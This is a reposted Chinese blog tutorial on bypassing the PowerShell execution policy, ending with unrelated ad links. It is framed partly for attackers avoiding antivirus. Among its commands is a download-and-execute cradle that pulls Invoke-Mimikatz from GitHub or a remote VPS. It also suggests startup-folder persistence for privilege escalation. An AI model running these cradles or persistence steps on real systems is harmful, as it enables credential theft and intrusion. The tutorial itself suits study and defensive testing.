能夠避免被反病毒工具檢測
大多數應用程序白名單解決方案已將其標記為“受信任”
一種用於編寫許多開源Pentest工具包的媒介

 

如何查看執行策略

在能夠使用所有完美功能的PowerShell之前,攻擊者可以繞過“Restricted”(限制)execution policy。你可以通過PowerShell命令“executionpolicy“看看當前的配置。如果你第一次看它的設置可能設置為“Restricted”(限制),如下圖所示:

Get-ExecutionPolicy

 

 

同樣值得注意的是execution policy可以在系統中設置不同的級別。要查看他們使用下面的命令列表。更多信息可以點擊這裏查看微軟的“Set-ExecutionPolicy” 。

Get-ExecutionPolicy -List | Format-Table -AutoSize

 

 

我們先將powershell執行策略設置為Restricted(限制),方便進行後續測試繞過PowerShell Execution Policy。

Set-ExecutionPolicy Restricted

 

 

繞過PowerShell執行策略

1、直接在Interactive PowerShell控制台中輸入powershell代碼
複製並粘貼你的PowerShell腳到一個交互式控制台,如下圖所示。但是,請記住,你將受到當前用戶權限限制。這是最基本的例子,當你有一個交互控制台時,可以方便快速地運行腳本。此外,這種技術不會更改配置或需要寫入磁盤。

Write-Host “It’s run!”;

 

 

2、echo腳本並將其通過管道傳遞到PowerShell
簡單的ECHO腳本到PowerShell的標準輸入。這種技術不會導致配置的更改或要求寫入磁盤。

Echo Write-Host “It’s run!” | PowerShell.exe -noprofile –

 

 

3、從文件讀取腳本並通過管道傳輸到PowerShell
使用Windows的”type”命令或PowerShell的”Get-Content”命令來從磁盤讀取你的腳本並輸入到標準的PowerShell中,這種技術不會導致配置文件的更改,但是需要寫入磁盤。然而,如果你想試圖避免寫到磁盤,你可以從網絡上遠程讀取你的腳本。

例1:Get-Content Powershell命令

Get-Content .\demo.ps1 | PowerShell.exe -noprofile –

 

 

例2:Type 命令

type .\demo.ps1 | PowerShell.exe -noprofile –

 

 

4、從遠程下載腳本並通過IEX執行
這種技術可以用來從網上下載一個PowerShell腳本並執行它無需寫入磁盤。它也不會導致任何配置更改。

powershell -nop -c “iex(New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/Micr067/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1’)”

如無法使用github下載可換vps:

powershell -nop -c “iex(New-Object Net.WebClient).DownloadString(‘http://182.xxx.xxx.156:10001/demo.ps1’)”

 

 

5、使用使用command命令
這種技術和通過複製和粘貼來執行一個腳本是非常相似的,但它可以做沒有交互式控制台。這是很好的方式適合執行簡單的腳本,但更複雜的腳本通常容易出現錯誤。這種技術不會導致配置更改或要求寫入磁盤。

例1:完整的命令

Powershell -command “Write-Host “Its run!””;

 

 

示例2:簡短命令(-c)

Powershell -c “Write-Host “It’s run!'”

可能還值得注意的是,您可以將這些類型的PowerShell命令放入批處理文件中,並將它們放入自動運行的位置(如所有用戶的啟動文件夾),以在權限提升期間提供幫助。

 

 

6、使用EncodeCommand命令
這和使用”Command”命令非常像,但它為所有的腳本提供了一個Unicode / Base64編碼串。通過這種方式加密你的腳本可以幫你繞過所有通過”Command”執行時會遇到的錯誤。這種技術不會導致配置文件的更改或要求寫入磁盤。

例1: 完整的命令

$command = “Write-Host ‘Its run!'”

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

$encodedCommand

powershell.exe -EncodedCommand $encodedCommand

 

 

示例2:通過簡短的命令使用編碼字符串

powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcASQB0AHMAIAByAHUAbgAhACcA

 

 

7、使用Invoke-Command命令
這是一個典型的通過交互式PowerShell控制台執行的方法。但最主要的是當PowerShell遠程處理開啟時我們可以用它來對遠程系統執行命令。這種技術不會導致配置更改或要求寫入磁盤。

Invoke-command -scriptblock {Write-Host “Its run!”}

 

 

8、下面的命令還可以用來抓取從遠程計算機的execution policy並將其應用到本地計算機。

Invoke-command -computername PAYLOAD\WIN-DC -scriptblock {get-executionpolicy} | set-executionpolicy -force

這種方式經測試不可行。

域環境下:

 

工作組下:

 

 

9、使用Invoke-Expression命令
這是另一個典型的通過交互式PowerShell控制台執行的方法。這種技術不會導致配置更改或要求寫入磁盤。下面我列舉了一些常用的方法來通過Invoke-Expression繞過execution policy。

例1:使用Get-Content的完整命令

Get-Content .\demo.ps1 | Invoke-Expression

 

 

示例2:使用Get-Content的簡短命令

GC .\demo.ps1 | iex

 

 

10、使用“Bypass”繞過Execution Policy
當你通過腳本文件執行命令的時候這是一個很好的繞過execution policy的方法。當你使用這個標記的時候”沒有任何東西被阻止,沒有任何警告或提示”。這種技術不會導致配置更改或要求寫入磁盤。

PowerShell.exe -ExecutionPolicy Bypass -File .\demo.ps1

 

 

11、使用“Unrestricted”標記Execution Policy
這類似於”Bypass”標記。當你使用這個標記的時候,它會”加載所有的配置文件並運行所有的腳本。如果你運行從網上下載的一個未被簽名的腳本,它會提示你需要權限”,這種技術不會導致配置的更改或要求寫入磁盤。

PowerShell.exe -ExecutionPolicy UnRestricted -File .\demo.ps1

 

 

12、使用“Remote-Signed”標記Execution Policy
要想繞過執行限制,需要按照如下教程操作對腳本進行数字簽名。

詳細參考:https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html

直接使用Remote-signed標記腳本無法運行的

PowerShell.exe -ExecutionPolicy Remote-signed -File .\demo.ps1

 

 

13、通過交換AuthorizationManager禁用ExecutionPolicy
下面的函數可以通過一個交互式的PowerShell來執行。一旦函數被調用”AuthorizationManager”就會被替換成空。最終結果是,接下來的會話基本上不受execution policy的限制。然而,它的變化將被應用於會話的持續時間。

function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield(“_context”,”nonpublic,instance”).getvalue( $executioncontext)).gettype().getfield(“_authorizationManager”,”nonpublic,instance”).setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager “Microsoft.PowerShell”))}

Disable-ExecutionPolicy

.\demo.ps1

 

 

13、把ExcutionPolicy設置成Process Scope
執行策略可以應用於多層次的。這包括你控制的過程。使用這種技術,執行策略可以被設置為您的會話的持續時間不受限制。此外,它不會導致配置更改或需要寫入到磁盤。

Set-ExecutionPolicy Bypass -Scope Process

 

 

14、通過命令設置ExcutionPolicy為CurrentUser Scope
這種方法和上面那種類似。但是這種方法通過修改註冊表將當前用戶環境的設置應用到當前用戶的環境中。此外,它不會導致在配置更改或需要寫入到磁盤。

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

 

 

15、通過註冊表設置ExcutionPolicy為CurrentUser Scope
在這個例子中,展示了如何通過修改註冊表項來改變當前用戶的環境的執行策略。

HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell

 

 

總結總結

使用的execution policy可以幫助我們繞過powershell默認的限制,方便我們對windows更加靈活的管理。微軟從來沒有打算將這種限製作為一種安全控制。這就是為什麼有這麼多方式可以繞過它。

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

※推薦評價好的iphone維修中心